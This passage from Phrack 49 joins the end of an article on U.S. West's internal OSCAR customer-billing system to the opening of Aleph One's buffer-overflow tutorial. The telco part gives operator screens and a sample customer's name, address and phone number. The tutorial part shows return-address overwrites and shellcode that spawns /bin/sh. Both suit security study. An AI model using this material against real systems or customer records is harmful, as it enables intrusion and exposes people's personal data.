  8865.         (y) Class of Service
  8866.         (z) Destination Address Code
  8867.  
  8868. Valid statuses are:
  8869.  
  8870.         NON-WORKING     Non-working
  8871.         WORKING         Working
  8872.         PEND-OUT        Pre-completion disconnect
  8873.         SUSPEND         Temporary denial for nonpayment
  8874.         UNKNOWN         Unknown
  8875.  
  8876.  
  8877.  
  8878. OSCAR
  8879. ~~~~~
  8880. OSCAR (Optical Storage COM Application Replacement) is a application for
  8881. archival and retrieval of microfiche files used in customer service. OSCAR
  8882. will store the data from BOSS or CARS for up to 30 years.  OSCAR is
  8883. operated with these PF keys:
  8884.  
  8885.         PF1  = Main Menu
  8886.         PF2  = Bill
  8887.         PF3  = Print Verification Screen (and duplicate bill printing)
  8888.         PF6  = Previous Bill
  8889.         PF7  = Next Bill
  8890.         PF11 = Forward/Backward
  8891.  
  8892. The OSCAR Main Menu will look something like this:
  8893. +-----------------------------------------------------------------------------+
  8894. |CMD  (a)                                       MSG (e)                       |
  8895. |                                                                             |
  8896. |                              OSCAR/ONLINE                                   |
  8897. |                                  MENU                                       |
  8898. |                                                                             |
  8899. |       TN: (b)                    CUS:         SUF:                          |
  8900. |       DATE: (c)                  PRINT RANGE: (f)     FINAL: (g)            |
  8901. |       ACCT CENTER: (d)           SUBPEONA: (h)                              |
  8902. |                                                                             |
  8903. |                                                                             |
  8904. | F1=MENU     F2=BILL     F3=PRINT     F4=N/A       F5=N/A       F6=PREV      |
  8905. | F7=NEXT     F8=N/A      F9=N/A       F10=N/A      F11=F/B      F12=N/A      |
  8906. +-----------------------------------------------------------------------------+
  8907.  
  8908.         (a) Command section
  8909.         (b) Customer telephone number
  8910.         (c) Date (MMYY)
  8911.         (d) Account center              (see below)
  8912.         (e) Message section
  8913.         (f) Print Range (number of months to print bills for)
  8914.         (g) Final (Y for final, blank for not final)
  8915.         (h) Reserved for the Subpeona Compliance Group
  8916.  
  8917.  
  8918. Account Center codes are:
  8919.  
  8920.         CO      Colorado and Wyoming
  8921.         NM      New Mexico and Arizona
  8922.         NO      North Dakota and Minnesota
  8923.         OR      Oregon
  8924.         SO      South Dakota, Nebraska, and Iowa
  8925.         UT      Utah, Idaho, and Montana
  8926.         WA      Washington
  8927.  
  8928.  
  8929. PF2 will bring you to the first OSCAR Bill screen, which will look
  8930. something like this:
  8931.  
  8932. +-----------------------------------------------------------------------------+
  8933. |CMD                             MSG                                          |
  8934. |                          BILL                             P     1   S   1   |
  8935. |                                   BILL DATE:  JUNE 23, 1996                 |
  8936. |                                   ACCOUNT NUMBER:                           |
  8937. |                                                                             |
  8938. |                                        PAYMENT DUE        JUL 12,     1996  |
  8939. |    866 W. TNO Ave                                                           |
  8940. |    MERIDIAN CO 80301-0869                                                   |
  8941. |                                        AMOUNT DUE               $102.88     |
  8942. |                                                                             |
  8943. |51 03208172009708711   1227021296  000000000000   000000051409               |
  8944. |                                                                             |
  8945. |PAY U S WEST COMMUNICATIONS                                                  |
  8946. |TOTAL DUE                                                                    |
  8947. |          *836229150!                                                        |
  8948. +-----------------------------------------------------------------------------+
  8949.  
  8950. PF11 will take you to the next screen of the bill.  'P' will take you to
  8951. the next page of the bill.  'P' followed by a number will take you to that
  8952. numbered page.  PF2 will return you to the first screen of the bill.
  8953.  
  8954. Here is a sample of the second screen of a bill:
  8955.  
  8956. +-----------------------------------------------------------------------------+
  8957. |CMD                             MSG                                          |
  8958. |                          BILL                             P     1   S   2   |
  8959. |                                                           PAGE          1   |
  8960. |                                               BILL DATE:  JUN 23, 1996      |
  8961. |       MERIDIAN, CO 80301-0869                 ACCOUNT NUMBER:               |
  8962. |                                                                             |
  8963. |PREVIOUS BILL       PAYMENTS     ADJUSTMENTS  PASTDUE                        |
  8964. |      $30.06        $30.06             $0.00  DISREGARD IF PAID  $0.00       |
  8965. |                                                                             |
  8966. |THANK YOU FOR YOUR PAYMENT             CURRENT CHARGES           $102.88     |
  8967. |                                                                             |
  8968. |                                       PAYMENT DUE         JUL 12,     1996  |
  8969. |                                                                             |
  8970. |                                       AMOUNT DUE               $102.88      |
  8971. |                                                                             |
  8972. |SUMMARY OF CURRENT CHARGES                                                   |
  8973. |                                                                             |
  8974. |     AT&T..............................................................      |
  8975. +-----------------------------------------------------------------------------+
  8976.  
  8977.  
  8978. PF3 will bring you to the Print Verification Screen:
  8979.  
  8980. +-----------------------------------------------------------------------------+
  8981. |CMD                             MSG   PRINT SUCCESSFUL, ENTER NEXT COMMAND   |
  8982. |                              PRINT                                          |
  8983. |                                                                             |
  8984. |303   343   4053   871(a) B DATE:   0696 (b)        FORWARD RANGE: (c)       |
  8985. |                                                                             |
  8986. |NAME:       KEVIN MITNICK                           NO. OF BILLS: (d)        |
  8987. |                                                                             |
  8988. |     ADDRESS VERIFICATION                                                    |
  8989. |
  8990. |L1:  10288 E. 6TH (e)
  8991. |L2:  AURORA  CO
  8992. |L3:
  8993. |L4:
  8994. |ZIP: 80010 3612
  8995. +-----------------------------------------------------------------------------+
  8996.  
  8997.         (a) Customer telephone number and account code
  8998.         (b) Bill date
  8999.         (c) Number of months to print bills for
  9000.         (d) Number of copies to print
  9001.         (e) Customer address
  9002.  
  9003. Press PF1 to return to the Main Menu or PF3 to print duplicate bills for
  9004. mailing to the customer address.
  9005.  
  9006. Other useful commands within OSCAR are 'F' for finding strings and 'R'
  9007. to repeat a find.  Use the LOFF command to log off.
  9008.  
  9009.  
  9010.  
  9011.                 .----------------------------------------------.
  9012.                 | Part IV: Relevant Acronyms and Abbreviations |
  9013.                 `----------------------------------------------'
  9014.  
  9015. ABIL        Adjustment Bill
  9016. AC        Account Classification
  9017. ANI             Automatic Number Identification
  9018. ARBL            As Rendered Bill
  9019. ASUM        Adjustments Summary
  9020. BD        Bank Draft
  9021. BD        Bill Date
  9022. BDPP        Bank Draft Payment Plan
  9023. BEAR        Billed Entity As Rendered
  9024. BESS        Billed Entry Status Screen
  9025. BLF             Blocking Failure
  9026. BO              Business Office
  9027. BOSS        Billing and Order Support System
  9028. BP        Bill Period
  9029. BSC        Business Service Center
  9030. CAMC            Corporate Address Maintenance Center
  9031. CARS            Customer Access and Retrieval System
  9032. CAS        Customer Approval System
  9033. CBR        Can Be Reached
  9034. CC        Credit Class
  9035. CCH        Calling Cards Held
  9036. CCG        Current Charges
  9037. CCSR        Current Customer Service Record
  9038. CI        Credit Information
  9039. CIF        Communications Impaired Fund
  9040. CIV        Credit Information Verified
  9041. CMC        Credit Management Center
  9042. CN        Concession Service
  9043. CNA             Customer Name and Address
  9044. CNC             Call Not Completed
  9045. CNL             Customer Name and Locality
  9046. CORD            Customer Order Retrieval and Display
  9047. COS        Customer's Other Service
  9048. COSMOS        Computer System for Mainframe Operations
  9049. CRIS        Customer Record Information System
  9050. CSBL        Current Status Bill Screen
  9051. CSR        Customer Service Record
  9052. CT        Carryover Treat History
  9053. CTO             Cut-Off
  9054. DAC             Directory Assistance Charges
  9055. DAK             Denies All Knowledge
  9056. DCK             Dishonored Check History
  9057. DDD             Direct Distance Dialing
  9058. DEP             Deposit
  9059. DN        Denial Notice
  9060. DOI        Date Of Installation
  9061. DUP             Duplicate Billing
  9062. ES              Entity Status
  9063. FACS        Facility Administration Control System
  9064. FCE             Federal Access Charge
  9065. FOMS        Frame Operations Management System
  9066. FRN        Franchise Fee
  9067. FU        Follow-up
  9068. FUSA        Frame User assignment System Access
  9069. HB        Held Bill
  9070. IC        Itemized Calls
  9071. INR             Incorrect Rate
  9072. LAL             Local Usage Units Allowed
  9073. LCR        Local Usage Units Credited
  9074. LCU        Local Units Used
  9075. LDD        Long Distance Detail
  9076. LDT        Legislative Deaf Tax
  9077. LPC        Late Payment Charge
  9078. LPC             Loop Provisioning Center
  9079. LU              Local Usage
  9080. MIG        Message Investigation Center
  9081. MIS             Miscellaneous
  9082. NOB             Number of Bills
  9083. NTN        New Telephone Number
  9084. OCC        Other Charges and Credits
  9085. OCP        Optional Calling Plan
  9086. ONI             Operator Number Identification
  9087. OSCAR           Optical Storage COM Application Replacement
  9088. OSP             Operator Service Provider
  9089. OTN             Old Telephone Number
  9090. MPS             Message Processing Service
  9091. PADJ            Payments and Adjustments
  9092. PB        Pay By Date
  9093. PDN        Past Due Notice
  9094. PN        Position Number
  9095. PPD        Preferred Payment Date
  9096. PREMIS        Premisis Information System
  9097. PTR             Poor Transmission
  9098. QTF             Query Treatment Follow-up
  9099. QTFU        Query Treatment Follow-up
  9100. RCK        Returned Check History
  9101. REB             Rebill
  9102. REF             Refuse to Pay
  9103. RMKS            Remarks
  9104. RP        Responsible Party
  9105. RSB        Repair Service Bureau
  9106. RSC        Repair Service Center
  9107. RT        Remove from Treatment
  9108. RTA        Remove from Treatment Amount
  9109. S&E        Service & Equipment
  9110. SAG             Street Address Guide
  9111. SAGA            Street Address Guide Area
  9112. TAF             Telephone Assistance Fund
  9113. TAP        Telephone Assistance Plan
  9114. TAR        Tax Area Code
  9115. TCAT            Telephone Category
  9116. TIM             Timing
  9117. TOPS            Traffic Operator Position System
  9118. TRFU            Treatment and Follow-Up
  9119. TRMT        Treatment
  9120. UBIC        Unbilled Itemized Call
  9121. USOC        Universal Service Order Code
  9122. PAH        Previous Account History
  9123. PIC/PICX    Presubscribed Interexchange Carrier
  9124. SCD        Selective Carrier Denial
  9125. SI        Supplemental Input
  9126. SOLAR        Service Order Logistics and Reference  
  9127. SONAR        Service Order Negotiation and Retrieval 
  9128. SOPAD        Service Order Provisioning and Distribution 
  9129. USF        Universal Service Fund
  9130. USOC        Universal Service Order Code
  9131. UWM        Unregulated Wire Maintenance
  9132. VL        Voice Link
  9133. VMS        Voice Messaging Service
  9134. WC              Wire Center
  9135. WMC             Wire Maintenance Contract
  9136. WNO             Wrong Number Reached
  9137.  
  9138.  
  9139.  
  9140.                 .-----------------.
  9141.                 | Part V: Credits |
  9142.                 `-----------------'
  9143.  
  9144. Thanks to Crimson Flash for the USOC and Line Class Codes which were taken
  9145. from his article "The Fine Art of Telephony" in Phrack 40.
  9146.  
  9147. Thanks to Major for his dedication to gathering information.
  9148.  
  9149. Thanks to DisordeR for his technical assistance in writing this article.
  9150.  
  9151. But most of all... thanks to U.S. West for making this all possible.
  9152.  
  9153.                                .oO Phrack 49 Oo.
  9154.  
  9155.                           Volume Seven, Issue Forty-Nine
  9156.                                      
  9157.                                   File 14 of 16
  9158.  
  9159.                       BugTraq, r00t, and Underground.Org
  9160.                                    bring you
  9161.  
  9162.                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  9163.                      Smashing The Stack For Fun And Profit
  9164.                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  9165.  
  9166.                                  by Aleph One
  9167.                              aleph1@underground.org
  9168.  
  9169.     `smash the stack` [C programming] n. On many C implementations
  9170.     it is possible to corrupt the execution stack by writing past
  9171.     the end of an array declared auto in a routine.  Code that does
  9172.     this is said to smash the stack, and can cause return from the
  9173.     routine to jump to a random address.  This can produce some of
  9174.     the most insidious data-dependent bugs known to mankind.
  9175.     Variants include trash the stack, scribble the stack, mangle
  9176.     the stack; the term mung the stack is not used, as this is
  9177.     never done intentionally. See spam; see also alias bug,
  9178.     fandango on core, memory leak, precedence lossage, overrun screw.
  9179.  
  9180.  
  9181.                                  Introduction
  9182.                                  ~~~~~~~~~~~~
  9183.  
  9184.    Over the last few months there has been a large increase of buffer
  9185. overflow vulnerabilities being both discovered and exploited.  Examples
  9186. of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt 
  9187. library, at, etc.  This paper attempts to explain what buffer overflows 
  9188. are, and how their exploits work.
  9189.  
  9190.    Basic knowledge of assembly is required.  An understanding of virtual 
  9191. memory concepts, and experience with gdb are very helpful but not necessary.
  9192. We also assume we are working with an Intel x86 CPU, and that the operating 
  9193. system is Linux.
  9194.  
  9195.    Some basic definitions before we begin: A buffer is simply a contiguous 
  9196. block of computer memory that holds multiple instances of the same data 
  9197. type.  C programmers normally associate with the word buffer arrays. Most 
  9198. commonly, character arrays.  Arrays, like all variables in C, can be 
  9199. declared either static or dynamic.  Static variables are allocated at load 
  9200. time on the data segment.  Dynamic variables are allocated at run time on 
  9201. the stack. To overflow is to flow, or fill over the top, brims, or bounds. 
  9202. We will concern ourselves only with the overflow of dynamic buffers, otherwise
  9203. known as stack-based buffer overflows.
  9204.  
  9205.  
  9206.                           Process Memory Organization
  9207.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  9208.  
  9209.    To understand what stack buffers are we must first understand how a
  9210. process is organized in memory.  Processes are divided into three regions:
  9211. Text, Data, and Stack.  We will concentrate on the stack region, but first
  9212. a small overview of the other regions is in order.
  9213.  
  9214.    The text region is fixed by the program and includes code (instructions)
  9215. and read-only data.  This region corresponds to the text section of the
  9216. executable file.  This region is normally marked read-only and any attempt to
  9217. write to it will result in a segmentation violation.
  9218.  
  9219.    The data region contains initialized and uninitialized data.  Static
  9220. variables are stored in this region.  The data region corresponds to the
  9221. data-bss sections of the executable file.  Its size can be changed with the
  9222. brk(2) system call.  If the expansion of the bss data or the user stack
  9223. exhausts available memory, the process is blocked and is rescheduled to
  9224. run again with a larger memory space. New memory is added between the data
  9225. and stack segments.
  9226.  
  9227.                              /------------------\  lower
  9228.                              |                  |  memory
  9229.                              |       Text       |  addresses
  9230.                              |                  |
  9231.                              |------------------|
  9232.                              |   (Initialized)  |
  9233.                              |        Data      |
  9234.                              |  (Uninitialized) |
  9235.                              |------------------|
  9236.                              |                  |
  9237.                              |       Stack      |  higher
  9238.                              |                  |  memory
  9239.                              \------------------/  addresses
  9240.  
  9241.                          Fig. 1 Process Memory Regions
  9242.  
  9243.  
  9244.                                What Is A Stack?
  9245.                                ~~~~~~~~~~~~~~~~
  9246.  
  9247.    A stack is an abstract data type frequently used in computer science.  A
  9248. stack of objects has the property that the last object placed on the stack
  9249. will be the first object removed.  This property is commonly referred to as
  9250. last in, first out queue, or a LIFO.
  9251.  
  9252.    Several operations are defined on stacks.  Two of the most important are
  9253. PUSH and POP.  PUSH adds an element at the top of the stack.  POP, in 
  9254. contrast, reduces the stack size by one by removing the last element at the 
  9255. top of the stack.
  9256.  
  9257.  
  9258.                             Why Do We Use A Stack?
  9259.                             ~~~~~~~~~~~~~~~~~~~~~~
  9260.  
  9261.    Modern computers are designed with the need of high-level languages in
  9262. mind.  The most important technique for structuring programs introduced by
  9263. high-level languages is the procedure or function.  From one point of view, a
  9264. procedure call alters the flow of control just as a jump does, but unlike a
  9265. jump, when finished performing its task, a function returns control to the 
  9266. statement or instruction following the call.  This high-level abstraction
  9267. is implemented with the help of the stack.
  9268.  
  9269.   The stack is also used to dynamically allocate the local variables used in
  9270. functions, to pass parameters to the functions, and to return values from the
  9271. function.
  9272.  
  9273.  
  9274.                                The Stack Region
  9275.                                ~~~~~~~~~~~~~~~~
  9276.  
  9277.    A stack is a contiguous block of memory containing data.  A register called
  9278. the stack pointer (SP) points to the top of the stack.  The bottom of the 
  9279. stack is at a fixed address.  Its size is dynamically adjusted by the kernel 
  9280. at run time. The CPU implements instructions to PUSH onto and POP off of the 
  9281. stack. 
  9282.  
  9283.    The stack consists of logical stack frames that are pushed when calling a
  9284. function and popped when returning.  A stack frame contains the parameters to 
  9285. a function, its local variables, and the data necessary to recover the 
  9286. previous stack frame, including the value of the instruction pointer at the 
  9287. time of the function call.
  9288.  
  9289.    Depending on the implementation the stack will either grow down (towards
  9290. lower memory addresses), or up.  In our examples we'll use a stack that grows
  9291. down.  This is the way the stack grows on many computers including the Intel, 
  9292. Motorola, SPARC and MIPS processors.  The stack pointer (SP) is also
  9293. implementation dependent.  It may point to the last address on the stack, or 
  9294. to the next free available address after the stack.  For our discussion we'll
  9295. assume it points to the last address on the stack.
  9296.  
  9297.    In addition to the stack pointer, which points to the top of the stack
  9298. (lowest numerical address), it is often convenient to have a frame pointer
  9299. (FP) which points to a fixed location within a frame.  Some texts also refer
  9300. to it as a local base pointer (LB).  In principle, local variables could be
  9301. referenced by giving their offsets from SP.  However, as words are pushed onto
  9302. the stack and popped from the stack, these offsets change.  Although in some
  9303. cases the compiler can keep track of the number of words on the stack and
  9304. thus correct the offsets, in some cases it cannot, and in all cases
  9305. considerable administration is required.  Futhermore, on some machines, such
  9306. as Intel-based processors, accessing a variable at a known distance from SP
  9307. requires multiple instructions.
  9308.  
  9309.    Consequently, many compilers use a second register, FP, for referencing
  9310. both local variables and parameters because their distances from FP do
  9311. not change with PUSHes and POPs.  On Intel CPUs, BP (EBP) is used for this 
  9312. purpose.  On the Motorola CPUs, any address register except A7 (the stack 
  9313. pointer) will do.  Because the way our stack grows, actual parameters have 
  9314. positive offsets and local variables have negative offsets from FP.
  9315.  
  9316.    The first thing a procedure must do when called is save the previous FP
  9317. (so it can be restored at procedure exit).  Then it copies SP into FP to 
  9318. create the new FP, and advances SP to reserve space for the local variables. 
  9319. This code is called the procedure prolog.  Upon procedure exit, the stack 
  9320. must be cleaned up again, something called the procedure epilog.  The Intel 
  9321. ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, 
  9322. have been provided to do most of the procedure prolog and epilog work 
  9323. efficiently. 
  9324.  
  9325.    Let us see what the stack looks like in a simple example:
  9326.  
  9327. example1.c:
  9328. ------------------------------------------------------------------------------
  9329. void function(int a, int b, int c) {
  9330.    char buffer1[5];
  9331.    char buffer2[10];
  9332. }
  9333.  
  9334. void main() {
  9335.   function(1,2,3);
  9336. }
  9337. ------------------------------------------------------------------------------
  9338.  
  9339.    To understand what the program does to call function() we compile it with
  9340. gcc using the -S switch to generate assembly code output:
  9341.  
  9342. $ gcc -S -o example1.s example1.c
  9343.  
  9344.    By looking at the assembly language output we see that the call to
  9345. function() is translated to:
  9346.  
  9347.         pushl $3
  9348.         pushl $2
  9349.         pushl $1
  9350.         call function
  9351.  
  9352.     This pushes the 3 arguments to function backwards into the stack, and
  9353. calls function().  The instruction 'call' will push the instruction pointer
  9354. (IP) onto the stack.  We'll call the saved IP the return address (RET).  The
  9355. first thing done in function is the procedure prolog:
  9356.  
  9357.         pushl %ebp
  9358.         movl %esp,%ebp
  9359.         subl $20,%esp
  9360.  
  9361.    This pushes EBP, the frame pointer, onto the stack.  It then copies the
  9362. current SP onto EBP, making it the new FP pointer.  We'll call the saved FP
  9363. pointer SFP.  It then allocates space for the local variables by subtracting
  9364. their size from SP.
  9365.  
  9366.    We must remember that memory can only be addressed in multiples of the
  9367. word size.  A word in our case is 4 bytes, or 32 bits.  So our 5 byte buffer
  9368. is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
  9369. is going to take 12 bytes (3 words) of memory.  That is why SP is being
  9370. subtracted by 20.  With that in mind our stack looks like this when
  9371. function() is called (each space represents a byte):
  9372.  
  9373.  
  9374. bottom of                                                            top of
  9375. memory                                                               memory
  9376.            buffer2       buffer1   sfp   ret   a     b     c
  9377. <------   [            ][        ][    ][    ][    ][    ][    ]
  9378.        
  9379. top of                                                            bottom of
  9380. stack                                                                 stack
  9381.  
  9382.  
  9383.                                Buffer Overflows
  9384.                                ~~~~~~~~~~~~~~~~
  9385.  
  9386.    A buffer overflow is the result of stuffing more data into a buffer than
  9387. it can handle.  How can this often found programming error can be taken
  9388. advantage to execute arbitrary code?  Lets look at another example:
  9389.  
  9390. example2.c
  9391. ------------------------------------------------------------------------------
  9392. void function(char *str) {
  9393.    char buffer[16];
  9394.  
  9395.    strcpy(buffer,str);
  9396. }
  9397.  
  9398. void main() {
  9399.   char large_string[256];
  9400.   int i;
  9401.  
  9402.   for( i = 0; i < 255; i++)
  9403.     large_string[i] = 'A';
  9404.  
  9405.   function(large_string);
  9406. }
  9407. ------------------------------------------------------------------------------
  9408.  
  9409.    This is program has a function with a typical buffer overflow coding
  9410. error.  The function copies a supplied string without bounds checking by
  9411. using strcpy() instead of strncpy().  If you run this program you will get a
  9412. segmentation violation.  Lets see what its stack looks when we call function:
  9413.  
  9414.  
  9415. bottom of                                                            top of
  9416. memory                                                               memory
  9417.                   buffer            sfp   ret   *str
  9418. <------          [                ][    ][    ][    ]
  9419.  
  9420. top of                                                            bottom of
  9421. stack                                                                 stack
  9422.  
  9423.  
  9424.    What is going on here?  Why do we get a segmentation violation?  Simple.
  9425. strcpy() is coping the contents of *str (larger_string[]) into buffer[]
  9426. until a null character is found on the string.  As we can see buffer[] is
  9427. much smaller than *str.  buffer[] is 16 bytes long, and we are trying to stuff
  9428. it with 256 bytes.  This means that all 250 bytes after buffer in the stack
  9429. are being overwritten.  This includes the SFP, RET, and even *str!  We had 
  9430. filled large_string with the character 'A'.  It's hex character value
  9431. is 0x41.  That means that the return address is now 0x41414141.  This is
  9432. outside of the process address space.  That is why when the function returns
  9433. and tries to read the next instruction from that address you get a 
  9434. segmentation violation.
  9435.  
  9436.    So a buffer overflow allows us to change the return address of a function.
  9437. In this way we can change the flow of execution of the program.  Lets go back
  9438. to our first example and recall what the stack looked like:
  9439.  
  9440.  
  9441. bottom of                                                            top of
  9442. memory                                                               memory
  9443.            buffer2       buffer1   sfp   ret   a     b     c
  9444. <------   [            ][        ][    ][    ][    ][    ][    ]
  9445.  
  9446. top of                                                            bottom of
  9447. stack                                                                 stack
  9448.  
  9449.  
  9450.    Lets try to modify our first example so that it overwrites the return
  9451. address, and demonstrate how we can make it execute arbitrary code.  Just
  9452. before buffer1[] on the stack is SFP, and before it, the return address.
  9453. That is 4 bytes pass the end of buffer1[].  But remember that buffer1[] is
  9454. really 2 word so its 8 bytes long.  So the return address is 12 bytes from
  9455. the start of buffer1[].  We'll modify the return value in such a way that the
  9456. assignment statement 'x = 1;' after the function call will be jumped.  To do
  9457. so we add 8 bytes to the return address.  Our code is now:
  9458.  
  9459. example3.c:
  9460. ------------------------------------------------------------------------------
  9461. void function(int a, int b, int c) {
  9462.    char buffer1[5];
  9463.    char buffer2[10];
  9464.    int *ret;
  9465.  
  9466.    ret = buffer1 + 12;
  9467.    (*ret) += 8;
  9468. }
  9469.  
  9470. void main() {
  9471.   int x;
  9472.  
  9473.   x = 0;
  9474.   function(1,2,3);
  9475.   x = 1;
  9476.   printf("%d\n",x);
  9477. }
  9478. ------------------------------------------------------------------------------
  9479.  
  9480.    What we have done is add 12 to buffer1[]'s address.  This new address is
  9481. where the return address is stored.  We want to skip pass the assignment to
  9482. the printf call.  How did we know to add 8 to the return address?  We used a
  9483. test value first (for example 1), compiled the program, and then started gdb:
  9484.  
  9485. ------------------------------------------------------------------------------
  9486. [aleph1]$ gdb example3
  9487. GDB is free software and you are welcome to distribute copies of it
  9488.  under certain conditions; type "show copying" to see the conditions.
  9489. There is absolutely no warranty for GDB; type "show warranty" for details.
  9490. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  9491. (no debugging symbols found)...
  9492. (gdb) disassemble main
  9493. Dump of assembler code for function main:
  9494. 0x8000490 <main>:       pushl  %ebp
  9495. 0x8000491 <main+1>:     movl   %esp,%ebp
  9496. 0x8000493 <main+3>:     subl   $0x4,%esp
  9497. 0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
  9498. 0x800049d <main+13>:    pushl  $0x3
  9499. 0x800049f <main+15>:    pushl  $0x2
  9500. 0x80004a1 <main+17>:    pushl  $0x1
  9501. 0x80004a3 <main+19>:    call   0x8000470 <function>
  9502. 0x80004a8 <main+24>:    addl   $0xc,%esp
  9503. 0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
  9504. 0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
  9505. 0x80004b5 <main+37>:    pushl  %eax
  9506. 0x80004b6 <main+38>:    pushl  $0x80004f8
  9507. 0x80004bb <main+43>:    call   0x8000378 <printf>
  9508. 0x80004c0 <main+48>:    addl   $0x8,%esp
  9509. 0x80004c3 <main+51>:    movl   %ebp,%esp
  9510. 0x80004c5 <main+53>:    popl   %ebp
  9511. 0x80004c6 <main+54>:    ret
  9512. 0x80004c7 <main+55>:    nop
  9513. ------------------------------------------------------------------------------
  9514.  
  9515.    We can see that when calling function() the RET will be 0x8004a8, and we
  9516. want to jump past the assignment at 0x80004ab.  The next instruction we want
  9517. to execute is the at 0x8004b2.  A little math tells us the distance is 8
  9518. bytes.
  9519.  
  9520.  
  9521.                                   Shell Code
  9522.                                   ~~~~~~~~~~
  9523.  
  9524.    So now that we know that we can modify the return address and the flow of
  9525. execution, what program do we want to execute?  In most cases we'll simply
  9526. want the program to spawn a shell.  From the shell we can then issue other
  9527. commands as we wish.  But what if there is no such code in the program we
  9528. are trying to exploit?  How can we place arbitrary instruction into its
  9529. address space?  The answer is to place the code with are trying to execute in
  9530. the buffer we are overflowing, and overwrite the return address so it points
  9531. back into the buffer.  Assuming the stack starts at address 0xFF, and that S
  9532. stands for the code we want to execute the stack would then look like this:
  9533.  
  9534.  
  9535. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  9536. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  9537.            buffer                sfp   ret   a     b     c
  9538.  
  9539. <------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
  9540.            ^                            |
  9541.            |____________________________|
  9542. top of                                                            bottom of
  9543. stack                                                                 stack
  9544.  
  9545.  
  9546. The code to spawn a shell in C looks like:
  9547.  
  9548. shellcode.c
  9549. -----------------------------------------------------------------------------
  9550. #include <stdio.h>
  9551.  
  9552. void main() {
  9553.    char *name[2];
  9554.  
  9555.    name[0] = "/bin/sh";
  9556.    name[1] = NULL;
  9557.    execve(name[0], name, NULL);
  9558. }
  9559. ------------------------------------------------------------------------------
  9560.  
  9561.    To find out what does it looks like in assembly we compile it, and start
  9562. up gdb.  Remember to use the -static flag. Otherwise the actual code the
  9563. for the execve system call will not be included.  Instead there will be a
  9564. reference to dynamic C library that would normally would be linked in at
  9565. load time.
  9566.  
  9567. ------------------------------------------------------------------------------
  9568. [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
  9569. [aleph1]$ gdb shellcode
  9570. GDB is free software and you are welcome to distribute copies of it
  9571.  under certain conditions; type "show copying" to see the conditions.
  9572. There is absolutely no warranty for GDB; type "show warranty" for details.
  9573. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  9574. (gdb) disassemble main
  9575. Dump of assembler code for function main:
  9576. 0x8000130 <main>:       pushl  %ebp
  9577. 0x8000131 <main+1>:     movl   %esp,%ebp
  9578. 0x8000133 <main+3>:     subl   $0x8,%esp
  9579. 0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
  9580. 0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
  9581. 0x8000144 <main+20>:    pushl  $0x0
  9582. 0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
  9583. 0x8000149 <main+25>:    pushl  %eax
  9584. 0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
  9585. 0x800014d <main+29>:    pushl  %eax
  9586. 0x800014e <main+30>:    call   0x80002bc <__execve>
  9587. 0x8000153 <main+35>:    addl   $0xc,%esp
  9588. 0x8000156 <main+38>:    movl   %ebp,%esp
  9589. 0x8000158 <main+40>:    popl   %ebp
  9590. 0x8000159 <main+41>:    ret
  9591. End of assembler dump.
  9592. (gdb) disassemble __execve
  9593. Dump of assembler code for function __execve:
  9594. 0x80002bc <__execve>:   pushl  %ebp
  9595. 0x80002bd <__execve+1>: movl   %esp,%ebp
  9596. 0x80002bf <__execve+3>: pushl  %ebx
  9597. 0x80002c0 <__execve+4>: movl   $0xb,%eax
  9598. 0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
  9599. 0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
  9600. 0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
  9601. 0x80002ce <__execve+18>:        int    $0x80
  9602. 0x80002d0 <__execve+20>:        movl   %eax,%edx
  9603. 0x80002d2 <__execve+22>:        testl  %edx,%edx
  9604. 0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
  9605. 0x80002d6 <__execve+26>:        negl   %edx
  9606. 0x80002d8 <__execve+28>:        pushl  %edx
  9607. 0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
  9608. 0x80002de <__execve+34>:        popl   %edx
  9609. 0x80002df <__execve+35>:        movl   %edx,(%eax)
  9610. 0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
  9611. 0x80002e6 <__execve+42>:        popl   %ebx
  9612. 0x80002e7 <__execve+43>:        movl   %ebp,%esp
  9613. 0x80002e9 <__execve+45>:        popl   %ebp
  9614. 0x80002ea <__execve+46>:        ret
  9615. 0x80002eb <__execve+47>:        nop
  9616. End of assembler dump.
  9617. ------------------------------------------------------------------------------
  9618.  
  9619. Lets try to understand what is going on here. We'll start by studying main:
  9620.  
  9621. ------------------------------------------------------------------------------
  9622. 0x8000130 <main>:       pushl  %ebp
  9623. 0x8000131 <main+1>:     movl   %esp,%ebp
  9624. 0x8000133 <main+3>:     subl   $0x8,%esp
  9625.  
  9626.     This is the procedure prelude.  It first saves the old frame pointer,
  9627.     makes the current stack pointer the new frame pointer, and leaves 
  9628.     space for the local variables. In this case its:
  9629.  
  9630.     char *name[2];
  9631.  
  9632.     or 2 pointers to a char. Pointers are a word long, so it leaves
  9633.     space for two words (8 bytes).
  9634.  
  9635. 0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
  9636.  
  9637.     We copy the value 0x80027b8 (the address of the string "/bin/sh")
  9638.     into the first pointer of name[]. This is equivalent to:
  9639.  
  9640.     name[0] = "/bin/sh";
  9641.  
  9642. 0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
  9643.  
